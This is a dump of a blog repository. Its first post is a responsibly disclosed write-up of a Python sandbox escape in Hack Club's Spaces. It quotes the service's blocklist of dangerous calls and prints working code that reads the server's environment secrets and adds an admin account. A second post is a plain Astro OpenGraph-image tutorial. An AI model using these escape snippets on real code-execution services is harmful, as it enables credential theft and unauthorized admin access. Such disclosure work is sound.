clone" 3 | description: "Be careful how you run untrusted code!" 4 | pubDate: "May 21, 2025 18:00" 5 | draft: false 6 | tags: ["python", "cybersec", "hackclub"] 7 | --- 8 | 9 | At [Hack Club](https://hackclub.com), folks often want to get started coding without having a full coding environment installed on their computer (or simply can’t install one!) In the past, [Replit](https://replit.com) was the main tool used, but since their [significant nerfing of their free plan](https://www.reddit.com/r/replit/comments/1ezf9zd/huge_changes_to_free_plan/), it’s simply nonviable for most people who want to use it. 10 | 11 | One of the ways Hack Club decided to tackle this was to build a version of their own called [Spaces](https://spaces.hackclub.com). The premise is simple -- it’s just Replit but completely free. I was interested in seeing if there were any vulnerabilities I could exploit in Spaces, so I decided to play around with it and see how it works. 12 | 13 | ## How it works 14 | 15 | Spaces is a Python application and had two different types of spaces: 16 | 17 | - A *web space*, where you can create static HTML/CSS/JS sites 18 | - A *Python space*, where you can write Python code and execute it (go figure) 19 | 20 | Python spaces seemed like the most promising candidate for a vulnerability, so I decided to see how it executes the code: 21 | 22 | ```python 23 | def run_python(site_id): 24 | try: 25 | site = Site.query.get_or_404(site_id) 26 | data = request.get_json() 27 | code = data.get('code', '') 28 | 29 | import sys 30 | import json 31 | import re 32 | from io import StringIO 33 | from ast import parse, Import, ImportFrom, Call, Attribute, Name 34 | 35 | with open('allowed_imports.json') as f: 36 | allowed = json.load(f)['allowed_imports'] 37 | 38 | dangerous_patterns = [ 39 | r'__import__\s*\(', r'eval\s*\(', r'exec\s*\(', r'globals\s*\(', 40 | r'locals\s*\(', r'getattr\s*\(', r'setattr\s*\(', r'delattr\s*\(', 41 | r'compile\s*\(', r'open\s*\(', r'os\.system\s*\(', r'subprocess', 42 | r'count\s*\(', r'while\s+True', 43 | r'for\s+.*\s+in\s+range\s*\(\s*[0-9]{7,}\s*\)', 44 | r'set\s*\(\s*.*\.count\(\s*0\s*\)\s*\)' 45 | ] 46 | 47 | for pattern in dangerous_patterns: 48 | if re.search(pattern, code): 49 | return jsonify({ 50 | 'output': 51 | 'SecurityError: Potentially harmful operation detected', 52 | 'error': True 53 | }), 400 54 | 55 | try: 56 | tree = parse(code) 57 | for node in tree.body: 58 | if isinstance(node, (Import, ImportFrom)): 59 | module = node.module if isinstance( 60 | node, ImportFrom) else node.names[0].name 61 | base_module = module.split('.')[0] 62 | if base_module not in allowed: 63 | return jsonify({ 64 | 'output': 65 | f'ImportError: module {base_module} is not allowed. Allowed modules are: {", ".join(allowed)}', 66 | 'error': True 67 | }), 400 68 | 69 | if isinstance(node, Call) and hasattr( 70 | node.func, 'id') and node.func.id in [ 71 | 'eval', 'exec', '__import__' 72 | ]: 73 | return jsonify({ 74 | 'output': 75 | 'SecurityError: Potentially harmful function call detected', 76 | 'error': True 77 | }), 78 | except: 79 | print("Error") # abbreviated 80 | ``` 81 | 82 | Wait, *what?* 83 | 84 | Spaces was filtering based off dangerous imports, rather than using Docker or some other containment mechanism. That set off alarm bells immediately, so I decided to see which imports were allowed: 85 | 86 | ```json 87 | 88 | { 89 | "allowed_imports": [ 90 | "math", 91 | "random", 92 | "datetime", 93 | "json", 94 | "collections", 95 | "re", 96 | "string", 97 | "functools", 98 | "time", 99 | "statistics", 100 | "decimal", 101 | "fractions", 102 | "os.path", 103 | "sys", 104 | "csv" 105 | ] 106 | } 107 | ``` 108 | 109 | `sys` looked interesting, but importing it directly didn’t work (something about `__import__` not being defined), so I decided to see how it was running the code itself: 110 | 111 | ```python 112 | old_stdout = sys.stdout 113 | redirected_output = StringIO() 114 | sys.stdout = redirected_output 115 | 116 | import threading 117 | import builtins 118 | import _thread 119 | class ThreadWithException(threading.Thread): 120 | def __init__(self, target=None, args=()): 121 | threading.Thread.__init__(self, target=target, args=args) 122 | self.exception = None 123 | self.result = None 124 | def run(self): 125 | try: 126 | if self._target: 127 | self.result = self._target(*self._args) 128 | except Exception as e: 129 | self.exception = e 130 | def execute_with_timeout(code_to_execute, 131 | restricted_globals, 132 | timeout=5): 133 | def exec_target(): 134 | exec(code_to_execute, restricted_globals) 135 | execution_thread = ThreadWithException(target=exec_target) 136 | execution_thread.daemon = True 137 | execution_thread.start() 138 | execution_thread.join(timeout) 139 | if execution_thread.is_alive(): 140 | _thread.interrupt_main() 141 | raise TimeoutError( 142 | "Code execution timed out (maximum 5 seconds allowed)") 143 | if execution_thread.exception: 144 | raise execution_thread.exception 145 | try: 146 | safe_builtins = {} 147 | for name in dir(builtins): 148 | if name not in [ 149 | 'eval', 'exec', 'compile', '__import__', 'open', 150 | 'input', 'memoryview', 'globals', 'locals' 151 | ]: 152 | safe_builtins[name] = getattr(builtins, name) 153 | restricted_globals = {'__builtins__': safe_builtins} 154 | for module_name in allowed: 155 | try: 156 | module = __import__(module_name) 157 | restricted_globals[module_name] = module 158 | except ImportError: 159 | pass 160 | execute_with_timeout(code, restricted_globals, timeout=5) 161 | output = redirected_output.getvalue() 162 | if not output.strip(): 163 | output = "Code executed successfully, but produced no output. Add print() statements to see results." 164 | return jsonify({'output': output}) 165 | except TimeoutError as e: 166 | return jsonify({'output': str(e), 'error': True}), 400 167 | except Exception as e: 168 | error_type = type(e).__name__ 169 | # ... 170 | finally: 171 | sys.stdout = old_stdout 172 | ``` 173 | 174 | *(note that both code blocks from above have had a bit of logic removed (mainly to do with error handling and things like that))* 175 | 176 | Sure enough, it was just running the code directly within Spaces’ Python process. I decided to see if this was exploitable by writing a bit of code to see if I could dump Spaces’ env vars: 177 | 178 | ```python 179 | def main(): 180 | os_mod = sys.modules['os'] 181 | env = os_mod.environ 182 | print(env) 183 | main() 184 | ``` 185 | 186 | ```python 187 | environ({'GITHUB_CALLBACK_URL': '[redacted]', 'GITHUB_CLIENT_SECRET': '[redacted]', 'DATABASE_URL': '[redacted]', 'GROQ_API_KEY': 'gsk_[redacted]', 'GITHUB_CLIENT_ID': 'Ov23liPtaMsNRLw66vxr', 'SLACK_CLIENT_SECRET': '[redacted]', 'SLACK_CLIENT_ID': '2210535565.8465855857699'}) 188 | ``` 189 | 190 | Bingo. 191 | 192 | This on its own was pretty interesting - I had access to the GitHub and Slack client secrets and the Groq API key. However, the database URL was an internal one that didn’t accept connections from the wider internet, so I decided to see if I could try and get admin access to the site so I could look at things like club data. This was a bit more complex than just dumping the environment variables, but I was able to make it work: 193 | 194 | ```python 195 | app_obj = None 196 | # Importing Flask wasn't allowed by the import checker, 197 | # and sys.modules["flask"] didn't work either, so we just scan the 198 | # loaded modules to find the Flask class 199 | for module in sys.modules.values(): 200 | if hasattr(module, 'app'): 201 | candidate = module.app 202 | if type(candidate).__name__ == 'Flask': 203 | app_obj = candidate 204 | break 205 | 206 | # `admin_utils` is an internal module that deals with admin stuff (who could've guessed :P) 207 | admin_utils = sys.modules['admin_utils'] 208 | with app_obj.app_context(): 209 | admin_utils.add_admin("sec") 210 | 211 | # We need this to be there so we don't get errors 212 | def main(): 213 | print("Woah?") 214 | main() 215 | ``` 216 | 217 | I ran the code, reloaded the page, and sure enough, I had admin access: 218 | 219 | ![A screenshot of Spaces' admin panel](https://hc-cdn.hel1.your-objectstorage.com/s/v3/1dfad3be3d7b7bb1f31d6cd3ed986ed019439b0a_image.png) 220 | 221 | Very nice. 222 | 223 | ## Responsible disclosure 224 | 225 | To Hack Club’s credit, this was fixed surprisingly quickly. Spaces was moved off the old execution model, and now uses [Piston](https://github.com/engineer-man/piston), which uses [Isolate](https://www.ucw.cz/isolate/isolate.1.html) within Docker for code execution. 226 | 227 | *(these times are in British Summer Time)* 228 | 229 | - **11/05/2025** at 1:37PM: Spaces team notified 230 | - **11/05/2025** at 1:50PM: Spaces team confirmed the issue 231 | - **20/05/2025** at 12:46PM: Spaces v2 released, which uses Piston and thus fixes this vulnerability 232 | 233 | In other words, getting this fixed took just over a week. Nice work! 234 | 235 | --- 236 | 237 | Thanks for making it to the end of this blog post! Check out [my other posts](https://skyfall.dev/posts) if you’d like to see what else I’ve written :) 238 | -------------------------------------------------------------------------------- /src/content/blog/astro-og-with-satori.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "How to generate OpenGraph images with Astro and Satori" 3 | description: "Generating OpenGraph images for your Astro site is an easy way to increase click-through rates and make link previews more appealing. Here's how to set them up!" 4 | tags: ["astro", "opengraph", "satori", "tailwind"] 5 | pubDate: "January 5, 2025 18:00" 6 | draft: false 7 | --- 8 | 9 | When you share a link on social media, you want it to stand out. That's where OpenGraph (OG) images come in - they're 10 | the eye-catching previews that automatically appear when your content is shared on platforms like Twitter/X, Facebook, 11 | or Discord. 12 | 13 | OG images aren't just for show however - they're _incredibly_ powerful for boosting engagement. Research have shown that **content with 14 | custom OpenGraph images attracts 2.3x more clicks** compared to plain links, making them a great way to increase 15 | engagement and drive traffic to your site. 16 | 17 | ![Twitter/X post with the OG image](@assets/posts/astro-og-with-satori/og-example.png) 18 | 19 | The problem is that making these images manually can be tedious, especially for sites with lots of content. 20 | In this post, I'll show you how to automatically create beautiful OpenGraph images for your Astro site using Satori, 21 | a library that makes it easy to generate images using React or Preact components. By the end of this tutorial, you'll have: 22 | 23 | - Automatic OG image generation for all your blog posts 24 | - A reusable template that maintains your brand identity 25 | - Better-looking link previews across all social platforms 26 | 27 | ## Installing dependencies 28 | 29 | We'll first need to download the dependencies we need. I'll be using Preact in this tutorial, but React works too 30 | (albeit with a few minor changes in the imports and types). We'll also need to install Satori. 31 | 32 | ```bash 33 | npm install preact # or `npm install react` 34 | npm install satori 35 | ``` 36 | 37 | If you're going to use Tailwind to make your OG images, and want to use the same Tailwind config, 38 | you'll also want to use the `tw-to-css` library. I talk more about this in [my blog post on using 39 | Satori with your project's Tailwind config.](/posts/satori-with-tailwind-config) 40 | 41 | ```bash 42 | npm install tw-to-css 43 | ``` 44 | 45 | Satori outputs SVGs, which are unfortunately not supported by OpenGraph, so we'll also need to install 46 | the `sharp` library to convert SVGs to PNGs. 47 | 48 | ```bash 49 | npm install sharp 50 | ``` 51 | 52 | ## Generating the image 53 | 54 | ### Creating an OG image component 55 | 56 | First, let's create an `OpenGraphImage` component, which will be responsible for rendering the actual content of the OG image. Here's an example: 57 | 58 | ```tsx title=src/components/og/image.tsx 59 | // e.g. src/components/og/image.tsx 60 | import { type CollectionEntry } from "astro:content"; 61 | 62 | export default function (props: CollectionEntry<"blog">) { 63 | return ( 64 |
    65 |

    {props.data.title}

    66 |

    {props.data.description}

    67 |
    68 | ); 69 | } 70 | ``` 71 | 72 | Note that the above code assumes that you have a `blog` collection, with each post having a `title` and `description` field. If you're using a different collection, you'll need to adjust the code accordingly. 73 | 74 | ### Setting up the API endpoint 75 | 76 | Assuming that your file structure looks something like this: 77 | 78 | ```text 79 | / 80 | ├── src/ 81 | │ ├── blog/ 82 | │ │ └── [id].astro 83 | ``` 84 | 85 | You'll want to move the `[id].astro` file to a new `[id]` folder, rename it to `index.astro`, then add a new `og.png.ts` file in that new folder. Here's how it should look: 86 | 87 | ```text 88 | / 89 | ├── src/ 90 | │ ├── blog/ 91 | │ │ └── [id]/ 92 | │ │ ├── index.astro 93 | │ │ └── og.png.ts 94 | ``` 95 | 96 | This will create a new endpoint at `/blog/[id]/og.png`. Now, let's set it up: 97 | 98 | ```ts title=src/blog/[id]/og.png.ts 99 | import fs from "fs/promises"; 100 | import satori from "satori"; 101 | import sharp from "sharp"; 102 | import { getCollection } from "astro:content"; 103 | import type { InferGetStaticParamsType } from "astro"; 104 | 105 | import OpenGraphImage from "path/to/your/og/image/component"; 106 | 107 | const posts = await getCollection("blog"); 108 | type Params = InferGetStaticParamsType; 109 | 110 | export async function GET({ params }: { params: Params }) { 111 | const post = posts.find((post) => post.id === params.id); // Find the specific post by ID 112 | if (!post) { 113 | return new Response("Post not found", { status: 404 }); 114 | } 115 | 116 | const element = OpenGraphImage(post); 117 | const png = await PNG(element); 118 | return new Response(png, { 119 | headers: { 120 | "Content-Type": "image/png", 121 | }, 122 | }); 123 | } 124 | 125 | export async function getStaticPaths() { 126 | return posts.map((post) => ({ 127 | params: { id: post.id }, 128 | props: post, 129 | })); 130 | } 131 | ``` 132 | 133 | Here, we're adding a `GET` API endpoint at `/blog/[id]/og.png`, which will return the image for the 134 | post with the ID of `[id]`. We're also importing the `OpenGraphImage` component from the path you provided, 135 | and the posts from the `blog` collection. 136 | 137 | Now, let's define the `PNG` and `SVG` functions, which will generate the PNG and SVG images respectively: 138 | 139 | ```ts title=src/blog/[id]/og.png.ts 140 | export async function SVG(component: h.JSX.Element) { 141 | return await satori(component as any, { 142 | width: 1200, 143 | height: 630, 144 | fonts: [ 145 | { 146 | name: "Outfit", 147 | data: await fs.readFile("./src/assets/fonts/og/Outfit-Regular.ttf"), 148 | weight: 400, 149 | }, 150 | ], 151 | }); 152 | } 153 | 154 | export async function PNG(component: h.JSX.Element) { 155 | return await sharp(Buffer.from(await SVG(component))) 156 | .png() 157 | .toBuffer(); 158 | } 159 | ``` 160 | 161 | > [!NOTE] 162 | > If your route param isn't called `id`, you'll need to change the references to `id` to match your route param. 163 | 164 | We're setting the image size to `1200x630`, which is the recommended size for OG images, 165 | and ensures your images look good on most platforms, like Twitter/X, Facebook, and Discord. 166 | 167 | You probably also noticed the `fonts` array we're passing to `satori`, which, well, 168 | defines the fonts you're going to be using in your image! I've used the [Outfit](https://fonts.google.com/specimen/Outfit) 169 | font here, but feel free to pick your own from places like [Google Fonts.](https://fonts.google.com) **Note that the relative paths are relative 170 | to the root directory of your project.** 171 | 172 | > [!WARNING] 173 | > You might run into issues with variable font weights. This is due to [a bug 174 | > in Satori](https://github.com/vercel/satori/issues/162), which causes errors 175 | > when using variable font weights. To fix this, you'll need to use a fixed 176 | > font weight instead. 177 | 178 | ## Using the OG images 179 | 180 | Phew, that's the hard part done! Finally, let's add the OG image to our posts. 181 | 182 | Here's an example. First, let's pass a `ogImage` prop to our `BlogPost` layout, which will use 183 | our new API endpoint to generate the image for the post. 184 | 185 | ```astro title=src/blog/[id]/index.astro 186 | --- 187 | import { type CollectionEntry, getCollection, render } from "astro:content"; 188 | 189 | import BlogPost from "@layouts/blogpost.astro"; 190 | 191 | export async function getStaticPaths() { 192 | const posts = await getCollection("blog"); 193 | return posts.map((post) => ({ 194 | params: { id: post.id }, 195 | props: post, 196 | })); 197 | } 198 | 199 | type Props = CollectionEntry<"blog">; 200 | 201 | const post = Astro.props; 202 | const { Content } = await render(post); 203 | --- 204 | 205 | 206 | 207 | 208 | ``` 209 | 210 | Note the usage of `Astro.site` here - the OG image URL needs to be an absolute URL, so we're using 211 | the `Astro.site` variable to get the base URL of our site. 212 | 213 | Now, let's use the `ogImage` prop in our `BlogPost` layout, which will pass in the image URL to the 214 | root `Layout`. 215 | 216 | ```astro title=src/layouts/blogpost.astro 217 | --- 218 | import type { CollectionEntry } from "astro:content"; 219 | 220 | import Layout from "./layout.astro"; 221 | 222 | type Props = CollectionEntry<"blog">["data"] & { 223 | ogImage: string; 224 | }; 225 | const { title, description, ogImage } = Astro.props; 226 | --- 227 | 228 | 229 |
    230 |

    {title}

    231 |

    {description}

    232 |
    233 | 234 | 235 |
    236 | ``` 237 | 238 | And finally, let's use the `ogImage` prop in our main layout, by adding a `meta` tag to the `` 239 | with the image URL. We'll also set the `twitter:card` properties to `summary_large_image`, so our image 240 | can be shown in full size. 241 | 242 | ```astro title=src/layouts/layout.astro 243 | --- 244 | interface Props { 245 | title: string; 246 | description?: string; 247 | ogImage?: string; 248 | } 249 | 250 | const { title, description, ogImage } = Astro.props; 251 | --- 252 | 253 | 254 | 255 | 256 | 257 | 258 | {title} 259 | {ogImage && } 260 | 264 | 265 | 266 | 267 | 268 | 269 | ``` 270 | 271 | And that's it! You should now have an OG image for your blog posts! Here's an example of what my 272 | blog's OG images look like: 273 | 274 | ![OG image for the blog post "How to use Satori with your Tailwind config"](https://skyfall.dev/posts/astro-og-with-satori/og.png) 275 | -------------------------------------------------------------------------------- /src/assets/img/projects/archimedes.svg: -------------------------------------------------------------------------------- 1 | --------------------------------------------------------------------------------